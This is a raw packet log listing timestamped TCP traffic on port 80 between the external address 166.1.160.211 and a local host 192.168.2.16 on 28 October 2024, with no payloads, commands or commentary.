Oct 28, 2024 19:46:21.994710922 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.994726896 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.994745016 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.994777918 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.994796038 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.994812965 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.994848013 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.994863987 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.994884014 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.994934082 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.995191097 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.995224953 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.995259047 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.995270967 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.995295048 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.995346069 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.995381117 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.995434046 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.995469093 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.995480061 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.995501995 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.995537043 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.995547056 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.995789051 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.995822906 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.995836973 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.995857000 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.995891094 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.995906115 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.995939970 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.995974064 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.995994091 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.996009111 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.996042967 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.996057987 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.996078968 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.996114969 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.996125937 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.996273994 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.996310949 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.996321917 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.996346951 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.996381044 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.996398926 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.996695042 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.996730089 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.996752024 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.996763945 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.996798992 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.996814013 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.996831894 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.996866941 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.996882915 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.996901035 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.996934891 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.996946096 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.996968985 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.997001886 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.997015953 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.997036934 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.997070074 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.997102976 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.997107983 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.997149944 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.997149944 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.997263908 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.997314930 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.997315884 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.997349024 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.997383118 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.997390985 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.997422934 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.997457027 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.997474909 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.997490883 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.997524977 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.997535944 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.997560978 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.997612953 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.204732895 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.210632086 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.210757971 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.210813046 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.210819006 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.210850000 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.210885048 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.210896015 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.210926056 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.210983038 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.211000919 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.211054087 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.211087942 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.211112022 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.211122990 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.211158037 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.211169004 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.211193085 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.211230040 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.211244106 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.211266041 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.211299896 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.211321115 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.211359978 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.211405039 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.211407900 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.211438894 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.211476088 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.211483955 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.211565971 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.211601019 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.211613894 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.211636066 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.211672068 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.211680889 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.211934090 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.211967945 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.211988926 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.212002039 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.212037086 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.212052107 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.212073088 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.212106943 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.212116003 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.212141991 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.212179899 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.212187052 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.212214947 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.212248087 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.212260962 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.212286949 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.212321043 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.212332964 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.212356091 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.212389946 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.212399006 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.212426901 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.212467909 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.212625980 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.212660074 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.212696075 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.212706089 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.212728977 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.212764025 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.212773085 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.212796926 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.212842941 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.212848902 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.212882996 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.212918043 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.212927103 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.212953091 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.212986946 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.212995052 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.213022947 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.213066101 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.213248968 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.213284969 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.213319063 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.213327885 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.213352919 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.213386059 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.213397026 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.213422060 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.213454962 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.213465929 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.213491917 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.213526011 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.213536024 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.213560104 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.213596106 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.213608027 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.213628054 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.213664055 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.213674068 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.213804960 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.213839054 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.213851929 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.213872910 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.213907003 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.213916063 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.213942051 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.213974953 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.213984013 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.265168905 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.303508997 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.309633017 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.309668064 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.309685946 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.309719086 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.309818029 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.309834957 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.309853077 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.309863091 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.309880018 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.309895039 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.309954882 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.310002089 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.310036898 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.310055017 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.310071945 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.310089111 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.310105085 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.310111046 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.310153961 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.310353994 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.310370922 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.310388088 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.310399055 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.310404062 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.310420990 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.310432911 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.310439110 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.310472965 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.310651064 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.310667038 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.310683966 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.310699940 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.310700893 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.310719013 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.310723066 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.310735941 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.310755014 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.310766935 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.310796022 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.310950994 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.310973883 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.311001062 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.311017036 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.311021090 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.311034918 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.311049938 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.311063051 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.311068058 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.311109066 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.311499119 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.311515093 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.311530113 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.311538935 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.311542988 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.311554909 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.311570883 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.311574936 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.311587095 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.311599970 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.311604023 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.311620951 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.311631918 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.311639071 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.311655998 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.311671019 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.311675072 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.311688900 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.311698914 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.311707973 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.311728001 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.311981916 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.312024117 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.312053919 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.312071085 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.312151909 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.312238932 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.312257051 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.312273979 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.312290907 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.312299967 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.312326908 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.312391996 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.312417030 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.312433004 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.312448978 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.312459946 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.312465906 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.312483072 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.312490940 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.312500000 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.312515974 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.312520981 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.312532902 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.312566996 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.312825918 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.312840939 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.312859058 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.312871933 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.312901020 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.312968016 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.312984943 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.313000917 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.313018084 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.313025951 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.313056946 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.313237906 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.313255072 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.313271999 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.313288927 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.313297987 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.313307047 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.313323975 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.313333988 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.313345909 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.313363075 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.313379049 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.313406944 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.313589096 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.313606024 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.313643932 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.313728094 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.313744068 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.313786983 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.313858032 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.313874006 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.313890934 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.313908100 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.313915014 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.313925028 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.313949108 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.314037085 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.314080954 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.314131021 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.314147949 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.314163923 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.314179897 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.314186096 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.314197063 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.314213991 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.314220905 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.314232111 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.314250946 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.314254999 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.314266920 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.314284086 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.314296007 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.314321041 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.314585924 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.314651012 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.314677000 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.314699888 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.314771891 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.314800024 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.314824104 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.314826965 CET	80	49726	166.1.160.211	192.168.2.16
